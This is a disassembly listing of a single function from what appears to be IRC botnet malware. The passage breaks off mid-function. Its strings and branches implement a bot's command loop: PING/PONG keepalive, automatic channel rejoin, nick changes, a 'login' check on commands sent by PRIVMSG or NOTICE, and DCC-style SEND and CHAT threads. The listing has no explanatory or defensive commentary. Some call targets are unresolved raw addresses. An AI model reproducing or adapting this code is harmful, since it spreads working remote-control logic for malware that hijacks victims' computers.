var_1594 = byte ptr -1594h
var_1514 = dword ptr -1514h
var_1510 = dword ptr -1510h
var_150C = dword ptr -150Ch
var_1508 = dword ptr -1508h
var_1504 = byte ptr -1504h
var_14F4 = byte ptr -14F4h
var_1474 = byte ptr -1474h
var_13F4 = dword ptr -13F4h
var_13EC = dword ptr -13ECh
var_13E8 = dword ptr -13E8h
var_13E4 = dword ptr -13E4h
var_13E0 = dword ptr -13E0h
var_13DC = dword ptr -13DCh
var_13D8 = dword ptr -13D8h
var_13D4 = byte ptr -13D4h
var_1354 = byte ptr -1354h
var_12D4 = byte ptr -12D4h
var_1254 = dword ptr -1254h
var_1250 = dword ptr -1250h
var_124C = dword ptr -124Ch
var_1248 = dword ptr -1248h
var_1244 = dword ptr -1244h
var_1240 = dword ptr -1240h
var_123C = dword ptr -123Ch
var_1238 = dword ptr -1238h
var_1230 = byte ptr -1230h
var_11B0 = byte ptr -11B0h
var_1130 = dword ptr -1130h
var_112C = dword ptr -112Ch
var_1128 = dword ptr -1128h
var_1120 = dword ptr -1120h
var_111C = dword ptr -111Ch
var_1118 = dword ptr -1118h
var_1110 = dword ptr -1110h
var_110C = byte ptr -110Ch
var_108C = byte ptr -108Ch
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1004 = dword ptr -1004h
var_FFC = dword ptr -0FFCh
var_FF8 = dword ptr -0FF8h
var_FF4 = dword ptr -0FF4h
var_FF0 = dword ptr -0FF0h
var_FEC = dword ptr -0FECh
var_FE8 = byte ptr -0FE8h
var_F68 = dword ptr -0F68h
var_F64 = dword ptr -0F64h
var_F60 = dword ptr -0F60h
var_F5C = dword ptr -0F5Ch
var_F58 = dword ptr -0F58h
var_F54 = byte ptr -0F54h
var_ED4 = dword ptr -0ED4h
var_ED0 = dword ptr -0ED0h
var_ECC = dword ptr -0ECCh
var_EC8 = dword ptr -0EC8h
var_EC4 = dword ptr -0EC4h
var_EC0 = byte ptr -0EC0h
var_E40 = dword ptr -0E40h
var_E3C = dword ptr -0E3Ch
var_E38 = dword ptr -0E38h
var_E34 = dword ptr -0E34h
var_E30 = byte ptr -0E30h
var_E10 = byte ptr -0E10h
var_E00 = byte ptr -0E00h
var_D80 = dword ptr -0D80h
var_D7C = byte ptr -0D7Ch
var_CFC = byte ptr -0CFCh
var_C7C = dword ptr -0C7Ch
var_C78 = dword ptr -0C78h
var_C74 = dword ptr -0C74h
var_C70 = dword ptr -0C70h
var_C6C = dword ptr -0C6Ch
var_C68 = dword ptr -0C68h
var_C64 = dword ptr -0C64h
var_C60 = dword ptr -0C60h
var_C5C = dword ptr -0C5Ch
var_C58 = dword ptr -0C58h
var_C54 = byte ptr -0C54h
var_BD4 = dword ptr -0BD4h
var_BD0 = dword ptr -0BD0h
var_BCC = dword ptr -0BCCh
var_BC8 = dword ptr -0BC8h
var_BC4 = byte ptr -0BC4h
var_B44 = dword ptr -0B44h
var_B40 = dword ptr -0B40h
var_B3C = dword ptr -0B3Ch
var_B38 = dword ptr -0B38h
var_B34 = dword ptr -0B34h
var_B30 = dword ptr -0B30h
var_B2C = byte ptr -0B2Ch
var_AAC = dword ptr -0AACh
var_AA8 = dword ptr -0AA8h
var_AA4 = dword ptr -0AA4h
var_AA0 = dword ptr -0AA0h
var_A9C = dword ptr -0A9Ch
var_A98 = dword ptr -0A98h
var_A94 = byte ptr -0A94h
var_A14 = dword ptr -0A14h
var_A10 = dword ptr -0A10h
var_A0C = dword ptr -0A0Ch
var_A08 = dword ptr -0A08h
var_A04 = dword ptr -0A04h
var_A00 = dword ptr -0A00h
var_9FC = byte ptr -9FCh
var_97C = word ptr -97Ch
var_978 = dword ptr -978h
var_970 = dword ptr -970h
var_96C = dword ptr -96Ch
var_968 = dword ptr -968h
var_960 = byte ptr -960h
var_8FF = byte ptr -8FFh
var_8FE = byte ptr -8FEh
var_8FC = byte ptr -8FCh
var_8FB = byte ptr -8FBh
var_8F2 = byte ptr -8F2h
var_8F0 = byte ptr -8F0h
var_8EE = byte ptr -8EEh
var_8ED = byte ptr -8EDh
var_860 = byte ptr -860h
var_850 = byte ptr -850h
var_7D0 = byte ptr -7D0h
var_750 = dword ptr -750h
var_74C = dword ptr -74Ch
var_748 = dword ptr -748h
var_744 = dword ptr -744h
var_740 = dword ptr -740h
var_734 = dword ptr -734h
var_730 = dword ptr -730h
var_728 = dword ptr -728h
var_724 = dword ptr -724h
var_720 = dword ptr -720h
var_71C = dword ptr -71Ch
var_714 = dword ptr -714h
var_710 = byte ptr -710h
var_690 = dword ptr -690h
var_688 = dword ptr -688h
var_684 = dword ptr -684h
var_680 = dword ptr -680h
var_678 = dword ptr -678h
var_674 = dword ptr -674h
var_670 = dword ptr -670h
var_668 = dword ptr -668h
var_63C = dword ptr -63Ch
var_638 = word ptr -638h
var_624 = dword ptr -624h
var_620 = byte ptr -620h
var_5A0 = byte ptr -5A0h
var_590 = dword ptr -590h
var_58C = dword ptr -58Ch
var_584 = dword ptr -584h
var_580 = dword ptr -580h
var_57C = dword ptr -57Ch
var_574 = dword ptr -574h
var_570 = byte ptr -570h
var_4F0 = dword ptr -4F0h
var_4EC = dword ptr -4ECh
var_4E8 = dword ptr -4E8h
var_4E4 = dword ptr -4E4h
var_4E0 = dword ptr -4E0h
var_4D8 = dword ptr -4D8h
var_4D4 = dword ptr -4D4h
var_4D0 = dword ptr -4D0h
var_4C8 = byte ptr -4C8h
var_4BC = byte ptr -4BCh
var_484 = byte ptr -484h
var_474 = byte ptr -474h
var_3F4 = byte ptr -3F4h
var_374 = dword ptr -374h
var_370 = dword ptr -370h
var_36C = dword ptr -36Ch
var_368 = dword ptr -368h
var_364 = dword ptr -364h
var_358 = dword ptr -358h
var_354 = dword ptr -354h
var_34C = dword ptr -34Ch
var_348 = dword ptr -348h
var_344 = dword ptr -344h
var_340 = dword ptr -340h
var_338 = byte ptr -338h
var_31C = word ptr -31Ch
var_31A = word ptr -31Ah
var_318 = dword ptr -318h
var_30C = byte ptr -30Ch
var_308 = dword ptr -308h
var_2FC = byte ptr -2FCh
var_2F8 = byte ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2E8 = byte ptr -2E8h
var_2E4 = byte ptr -2E4h
var_2E3 = byte ptr -2E3h
var_2E2 = byte ptr -2E2h
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_2CC = dword ptr -2CCh
var_2C8 = dword ptr -2C8h
var_2C4 = byte ptr -2C4h
var_C4 = byte ptr -0C4h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_93 = byte ptr -93h
var_92 = byte ptr -92h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_50 = byte ptr -50h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 5D88h
call sub_41BB20
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp+var_2C4]
push ebx
push eax
mov [ebp+var_AC], 3
mov [ebp+var_10], ebx
mov [ebp+var_A4], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_2C8], ebx
call sub_41B590
push 1Bh
lea eax, [ebp+var_338]
push [ebp+arg_10]
push eax
call sub_41B5F0
add esp, 18h
cmp [ebp+arg_0], ebx
jz loc_401E94
push esi
lea eax, [ebp+var_4488]
push ebx
push eax
call sub_41B590
dec esi
lea eax, [ebp+var_4488]
push esi
push [ebp+arg_0]
push eax
call sub_41B5F0
lea eax, [ebp+var_4488]
push offset asc_42D12C ; " :"
push eax
call sub_41B900
mov [ebp+var_C], eax
lea eax, [ebp+var_4488]
push esi
push eax
lea eax, [ebp+var_4AF0]
push eax
call sub_41B5F0
mov esi, offset asc_42D128 ; " "
lea eax, [ebp+var_4AF0]
push esi
push eax
call sub_41C0F4
add esp, 34h
mov [ebp+var_90], eax
lea edi, [ebp+var_8C]
mov [ebp+var_A8], 1Fh
loc_401BA0: ; CODE XREF: sub_401ACD+E7j
push esi
push ebx
call sub_41C0F4
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+var_A8]
pop ecx
jnz short loc_401BA0
mov esi, [ebp+var_90]
cmp esi, ebx
jz loc_401E94
cmp [ebp+var_8C], ebx
jz loc_401E94
push 100h
lea eax, [ebp+var_960]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea ecx, [ebp+var_14]
push 1Fh
pop edx
push 1
pop edi
loc_401BEE: ; CODE XREF: sub_401ACD+153j
mov eax, [ecx]
cmp eax, ebx
jz short loc_401C1A
cmp byte ptr [eax], 2Dh
jnz short loc_401C22
cmp [eax+2], bl
jnz short loc_401C22
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_960], 1
mov esi, [ebp+var_90]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_401C1A: ; CODE XREF: sub_401ACD+125j
dec edx
sub ecx, 4
cmp edx, ebx
jge short loc_401BEE
loc_401C22: ; CODE XREF: sub_401ACD+12Aj
; sub_401ACD+12Fj
cmp [ebp+var_8ED], bl
jz short loc_401C2D
mov [ebp+var_8], edi
loc_401C2D: ; CODE XREF: sub_401ACD+15Bj
cmp [ebp+var_8F2], bl
jz short loc_401C3B
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_401C3B: ; CODE XREF: sub_401ACD+166j
cmp byte ptr [esi], 0Ah
jz short loc_401C75
push 7Fh
lea eax, [ebp+var_E00]
push esi
push eax
call sub_41B5F0
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp+var_C4]
push eax
call sub_41B5F0
lea eax, [ebp+var_C4]
push offset asc_42D124 ; "!"
push eax
call sub_41C0F4
add esp, 20h
loc_401C75: ; CODE XREF: sub_401ACD+171j
push esi
push offset aPing ; "PING"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401CC6
push [ebp+var_8C]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4]
call sub_409A2D
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_401D6A
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409A2D
add esp, 10h
jmp loc_401D6A
; ---------------------------------------------------------------------------
loc_401CC6: ; CODE XREF: sub_401ACD+1B7j
mov esi, [ebp+var_8C]
push esi
push offset a001 ; "001"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4099E1
push esi
push offset a005 ; "005"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4099E1
push esi
push offset a302 ; "302"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401D2E
push offset a@ ; "@"
push [ebp+var_84]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz short loc_401D6A
inc eax
push 9Fh
push eax
push [ebp+arg_1C]
call sub_41B5F0
jmp short loc_401D67
; ---------------------------------------------------------------------------
loc_401D2E: ; CODE XREF: sub_401ACD+238j
push esi
push offset a433 ; "433"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401D71
push ebx
push dword_4290A0
push dword_42909C
push [ebp+arg_10]
call sub_40B08E
add esp, 10h
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409A2D
loc_401D67: ; CODE XREF: sub_401ACD+25Fj
add esp, 0Ch
loc_401D6A: ; CODE XREF: sub_401ACD+1D8j
; sub_401ACD+1F4j ...
mov eax, edi
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_401D71: ; CODE XREF: sub_401ACD+270j
mov esi, [ebp+arg_18]
mov [ebp+var_A8], 3
mov edi, 80h
loc_401D83: ; CODE XREF: sub_401ACD+2DBj
lea eax, [ebp+var_E00]
push eax
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401DA0
mov [ebp+var_A4], 1
loc_401DA0: ; CODE XREF: sub_401ACD+2C7j
add esi, edi
dec [ebp+var_A8]
jnz short loc_401D83
mov esi, [ebp+var_8C]
push esi
push offset aKick ; "KICK"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_401E9C
mov esi, [ebp+arg_18]
mov [ebp+arg_24], 3
loc_401DCF: ; CODE XREF: sub_401ACD+392j
cmp [esi], bl
jz loc_401E5A
push 7Fh
lea eax, [ebp+var_E00]
push esi
push eax
call sub_41B5F0
lea eax, [ebp+var_C4]
add esp, 0Ch
test eax, eax
jz short loc_401E5A
cmp [ebp+var_84], ebx
jz short loc_401E5A
push [ebp+var_84]
lea eax, [ebp+var_C4]
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401E5A
lea eax, [ebp+var_C4]
mov [esi], bl
push eax
lea eax, [ebp+var_2C4]
push offset unk_42D0B8
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4]
call sub_409A2D
lea eax, [ebp+var_2C4]
push eax
call sub_4151AD
add esp, 14h
loc_401E5A: ; CODE XREF: sub_401ACD+304j
; sub_401ACD+324j ...
add esi, edi
dec [ebp+arg_24]
jnz loc_401DCF
push [ebp+var_84]
push [ebp+arg_10]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401E94
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8]
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_401E89: ; CODE XREF: sub_401ACD+612j
; sub_401ACD+8D5j ...
push [ebp+arg_4]
call sub_409A2D
loc_401E91: ; CODE XREF: sub_401ACD+253Cj
; sub_401ACD+2559j ...
add esp, 10h
loc_401E94: ; CODE XREF: sub_401ACD+5Bj
; sub_401ACD+F1j ...
push 1
loc_401E96: ; CODE XREF: sub_401ACD+2A62j
pop eax
loc_401E97: ; CODE XREF: sub_401ACD+29Fj
; sub_401ACD+2A84j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401E9C: ; CODE XREF: sub_401ACD+2F2j
push esi
push offset aNick ; "NICK"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_401FF2
mov eax, [ebp+var_88]
mov esi, [ebp+arg_18]
inc eax
mov [ebp+arg_0], 3
mov [ebp+arg_24], eax
loc_401EC5: ; CODE XREF: sub_401ACD+44Aj
lea eax, [ebp+var_E00]
push eax
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401F12
lea eax, [ebp+var_E00]
push 21h
push eax
call sub_41BFB0
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_401F12
push [ebp+arg_24]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_41BEB0
push [ebp+arg_1C]
push edi
call sub_41BEC0
add esp, 10h
mov edi, 80h
loc_401F12: ; CODE XREF: sub_401ACD+409j
; sub_401ACD+420j
add esi, edi
dec [ebp+arg_0]
jnz short loc_401EC5
lea eax, [ebp+var_C4]
test eax, eax
jz loc_401E94
cmp [ebp+arg_24], ebx
jz loc_401E94
push [ebp+arg_10]
lea eax, [ebp+var_C4]
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401F5A
push 0Fh
push [ebp+arg_24]
push [ebp+arg_10]
call sub_41B5F0
loc_401F52: ; CODE XREF: sub_401ACD+1C36j
add esp, 0Ch
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_401F5A: ; CODE XREF: sub_401ACD+476j
mov edi, [ebp+arg_18]
xor esi, esi
loc_401F5F: ; CODE XREF: sub_401ACD+4B3j
cmp [edi], bl
jz short loc_401F76
lea eax, [ebp+var_E00]
push eax
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_401F87
loc_401F76: ; CODE XREF: sub_401ACD+494j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_401F5F
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_401F87: ; CODE XREF: sub_401ACD+4A7j
lea eax, [ebp+var_E00]
push 21h
push eax
call sub_41BFB0
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jz loc_401E94
push eax
call sub_41AFE0
push [ebp+arg_24]
mov edi, eax
call sub_41AFE0
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja loc_401E94
push [ebp+arg_0]
shl esi, 7
push [ebp+arg_24]
add esi, [ebp+arg_18]
push offset aSS ; ":%s%s"
push esi
call sub_41B886
push ebx
lea eax, [ebp+var_45EC]
push ebx
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_409A73
add esp, 24h
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_401FF2: ; CODE XREF: sub_401ACD+3DEj
push esi
push offset aPart ; "PART"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_402014
push esi
push offset aQuit ; "QUIT"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_40203B
loc_402014: ; CODE XREF: sub_401ACD+534j
mov edi, [ebp+arg_18]
xor esi, esi
loc_402019: ; CODE XREF: sub_401ACD+56Cj
cmp [edi], bl
jz short loc_40202F
push [ebp+var_90]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_402083
loc_40202F: ; CODE XREF: sub_401ACD+54Ej
inc esi
add edi, 80h
cmp esi, 3
jl short loc_402019
loc_40203B: ; CODE XREF: sub_401ACD+545j
push [ebp+var_8C]
push offset a353 ; "353"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4020E4
push [ebp+var_80]
push [ebp+arg_8]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_40206F
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_40206F: ; CODE XREF: sub_401ACD+597j
push [ebp+var_80]
push offset unk_42D064
loc_402077: ; CODE XREF: sub_401ACD+28CDj
; sub_401ACD+2C4Dj ...
call sub_415221
loc_40207C: ; CODE XREF: sub_401ACD+1BE2j
pop ecx
loc_40207D: ; CODE XREF: sub_401ACD+7B70j
pop ecx
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_402083: ; CODE XREF: sub_401ACD+560j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42D040
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_4151AD
push [ebp+var_8C]
push offset aPart ; "PART"
call sub_41C070
add esp, 18h
test eax, eax
jnz loc_401E94
lea eax, [ebp+var_2C4]
push eax
mov eax, [ebp+var_90]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_401E89
; ---------------------------------------------------------------------------
loc_4020E4: ; CODE XREF: sub_401ACD+582j
push [ebp+var_8C]
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi
call sub_41C070
pop ecx
mov edi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_402138
push [ebp+var_8C]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_402138
push [ebp+var_8C]
push offset dword_42D02C
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_409855
cmp dword_429088, ebx
jz loc_409855
loc_402138: ; CODE XREF: sub_401ACD+631j
; sub_401ACD+643j
push [ebp+var_8C]
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4022BE
push [ebp+var_8C]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4022BE
mov eax, [ebp+var_84]
inc [ebp+var_80]
push 4
mov [ebp+var_88], eax
pop esi
mov [ebp+var_AC], esi
loc_40217C: ; CODE XREF: sub_401ACD+8ADj
; sub_401ACD+8E9j ...
shl esi, 2
mov eax, [ebp+esi+var_90]
lea edi, [ebp+esi+var_90]
push eax
push offset dword_42D024
mov [ebp+arg_8], eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_402557
push [ebp+esi+var_8C]
push offset aSend_0 ; "SEND"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40241E
cmp [ebp+var_A4], ebx
jz loc_4023F7
push [ebp+esi+var_88]
mov edi, offset aS_1 ; "%s"
lea eax, [ebp+var_1B80]
push edi
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_1B94]
push [ebp+esi+var_84]
push edi
push eax
call sub_41B886
push [ebp+esi+var_80]
call sub_41B779
mov [ebp+var_19FC], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1B9C], eax
lea eax, [ebp+var_C4]
push 7Fh
push eax
lea eax, [ebp+var_1A7C]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_19F4], eax
mov eax, [ebp+var_8]
mov [ebp+var_19F0], eax
lea eax, [ebp+var_1A7C]
push eax
lea eax, [ebp+var_1B80]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CFE8
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 1Ah
push eax
call sub_40B0F7
add esp, 1Ch
mov [ebp+var_19F8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1B9C]
push ebx
push eax
push offset loc_4161BD
push ebx
push ebx
call near ptr 26B0000h
nop
mov ecx, [ebp+var_19F8]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz loc_4023E6
loc_4022A8: ; CODE XREF: sub_401ACD+7EFj
cmp [ebp+var_19EC], ebx
jnz loc_4083BD
push 32h
nop
call near ptr 26A0F44h
jmp short loc_4022A8
; ---------------------------------------------------------------------------
loc_4022BE: ; CODE XREF: sub_401ACD+67Bj
; sub_401ACD+691j
push [ebp+var_8C]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4022D7
mov [ebp+var_4], 1
loc_4022D7: ; CODE XREF: sub_401ACD+801j
cmp [ebp+var_88], ebx
jz loc_401E94
push offset dword_42CFE4
push [ebp+var_88]
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_4022FE
cmp [ebp+var_4], ebx
jz short loc_40230A
loc_4022FE: ; CODE XREF: sub_401ACD+82Aj
lea eax, [ebp+var_C4]
mov [ebp+var_88], eax
loc_40230A: ; CODE XREF: sub_401ACD+82Fj
cmp [ebp+var_84], ebx
jz loc_401E94
inc [ebp+var_84]
jz short loc_402356
cmp [ebp+arg_10], ebx
jz short loc_402356
lea eax, [ebp+var_338]
push eax
call sub_41AFE0
push eax
lea eax, [ebp+var_338]
push [ebp+var_84]
push eax
call sub_41BE70
mov esi, eax
add esp, 10h
neg esi
sbb esi, esi
add esi, 4
mov [ebp+var_AC], esi
jmp short loc_40235C
; ---------------------------------------------------------------------------
loc_402356: ; CODE XREF: sub_401ACD+84Fj
; sub_401ACD+854j
mov esi, [ebp+var_AC]
loc_40235C: ; CODE XREF: sub_401ACD+887j
mov edi, [ebp+esi*4+var_90]
cmp edi, ebx
jz loc_401E94
push edi
push offset dword_42CFD8
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40217C
mov ecx, [ebp+var_88]
cmp byte ptr [ecx], 23h
jz short loc_4023A7
mov eax, dword_4CB508
mov eax, off_429168[eax*4]
cmp [eax], bl
jz short loc_4023A7
push eax
push ecx
push offset dword_42CFBC
jmp loc_401E89
; ---------------------------------------------------------------------------
loc_4023A7: ; CODE XREF: sub_401ACD+8BCj
; sub_401ACD+8CCj
push edi
push offset dword_42CFB4
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40217C
mov eax, [ebp+esi*4+var_8C]
cmp eax, ebx
jz loc_40217C
mov ecx, [ebp+var_88]
cmp byte ptr [ecx], 23h
jz loc_40217C
push eax
push ecx
push offset dword_42CF9C
jmp loc_401E89
; ---------------------------------------------------------------------------
loc_4023E6: ; CODE XREF: sub_401ACD+7D5j
; sub_401ACD+7853j
call near ptr 26B0857h
nop
push eax
push offset unk_42CF60
jmp loc_4083AE
; ---------------------------------------------------------------------------
loc_4023F7: ; CODE XREF: sub_401ACD+6F9j
lea eax, [ebp+var_C4]
push eax
push [ebp+esi+var_88]
push offset unk_42CF1C
loc_40240A: ; CODE XREF: sub_401ACD+7E2Aj
; sub_401ACD+7E91j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 10h
jmp loc_4083BD
; ---------------------------------------------------------------------------
loc_40241E: ; CODE XREF: sub_401ACD+6EDj
push [ebp+esi+var_8C]
push offset aChat ; "CHAT"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40256D
cmp [ebp+var_A4], ebx
jz loc_402546
push 1Bh
call sub_40B33F
test eax, eax
pop ecx
jnz loc_402535
push [ebp+esi+var_84]
lea eax, [ebp+var_2AA8]
push offset aS_1 ; "%s"
push eax
call sub_41B886
push [ebp+esi+var_80]
call sub_41B779
mov [ebp+var_2910], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2AB0], eax
lea eax, [ebp+var_C4]
push 7Fh
push eax
lea eax, [ebp+var_2990]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_2908], eax
mov eax, [ebp+var_8]
mov [ebp+var_2904], eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CEF4
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 1Bh
push eax
call sub_40B0F7
add esp, 18h
mov [ebp+var_290C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2AB0]
push ebx
push eax
push offset word_415C5A
push ebx
push ebx
nop
call near ptr 26B0000h
mov ecx, [ebp+var_290C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_402524
loc_40250E: ; CODE XREF: sub_401ACD+A55j
cmp [ebp+var_2900], ebx
jnz loc_4083BD
push 32h
nop
call near ptr 26A0F44h
jmp short loc_40250E
; ---------------------------------------------------------------------------
loc_402524: ; CODE XREF: sub_401ACD+A3Fj
call near ptr 26B0857h
nop
push eax
push offset unk_42CEBC
jmp loc_4083AE
; ---------------------------------------------------------------------------
loc_402535: ; CODE XREF: sub_401ACD+982j
lea eax, [ebp+var_C4]
push eax
push offset unk_42CE8C
jmp loc_4083AE
; ---------------------------------------------------------------------------
loc_402546: ; CODE XREF: sub_401ACD+972j
lea eax, [ebp+var_C4]
push eax
push offset unk_42CE58
jmp loc_4083AE
; ---------------------------------------------------------------------------
loc_402557: ; CODE XREF: sub_401ACD+6D2j
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov al, [eax]
cmp al, byte_429094
mov [edi], ecx
jnz loc_401E94
loc_40256D: ; CODE XREF: sub_401ACD+966j
mov edi, [edi]
push edi
push offset aLogin ; "login"
mov [ebp+arg_8], edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40985D
push edi
push offset asc_42CE54 ; "l"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40985D
cmp [ebp+var_A4], ebx
jnz short loc_4025BE
push [ebp+var_8C]
push offset dword_42D02C
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_409855
loc_4025BE: ; CODE XREF: sub_401ACD+AD5j
cmp [ebp+arg_28], ebx
jnz loc_409855
xor edi, edi
cmp dword_4294D4, ebx
jle loc_402773
mov [ebp+arg_20], offset dword_43D810
loc_4025DC: ; CODE XREF: sub_401ACD+B2Ej
push [ebp+arg_8]
push [ebp+arg_20]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_402602
add [ebp+arg_20], 0B8h
inc edi
cmp edi, dword_4294D4
jl short loc_4025DC
jmp loc_402773
; ---------------------------------------------------------------------------
loc_402602: ; CODE XREF: sub_401ACD+B1Ej
push offset asc_42D12C ; " :"
push [ebp+arg_0]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz loc_401E94
mov cl, byte_429094
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_429094
mov [eax+3], cl
lea ecx, dword_43D828[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_41B5F0
lea eax, [ebp+esi+var_50]
add esp, 0Ch
mov [ebp+arg_20], 0Fh
mov [ebp+arg_C], eax
loc_402657: ; CODE XREF: sub_401ACD+C3Bj
push [ebp+arg_20]
lea eax, [ebp+var_A0]
push offset aD_1 ; "$%d-"
push eax
call sub_41B886
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41B900
add esp, 14h
test eax, eax
jz short loc_4026C3
mov eax, [ebp+arg_C]
cmp [eax], ebx
jz short loc_4026C3
lea eax, dword_43D810[edi]
push eax
call sub_41AFE0
add [ebp+var_C], eax
pop ecx
jz short loc_4026FE
mov eax, [ebp+arg_C]
push dword ptr [eax-4]
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4026FE
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_417EEF
add esp, 0Ch
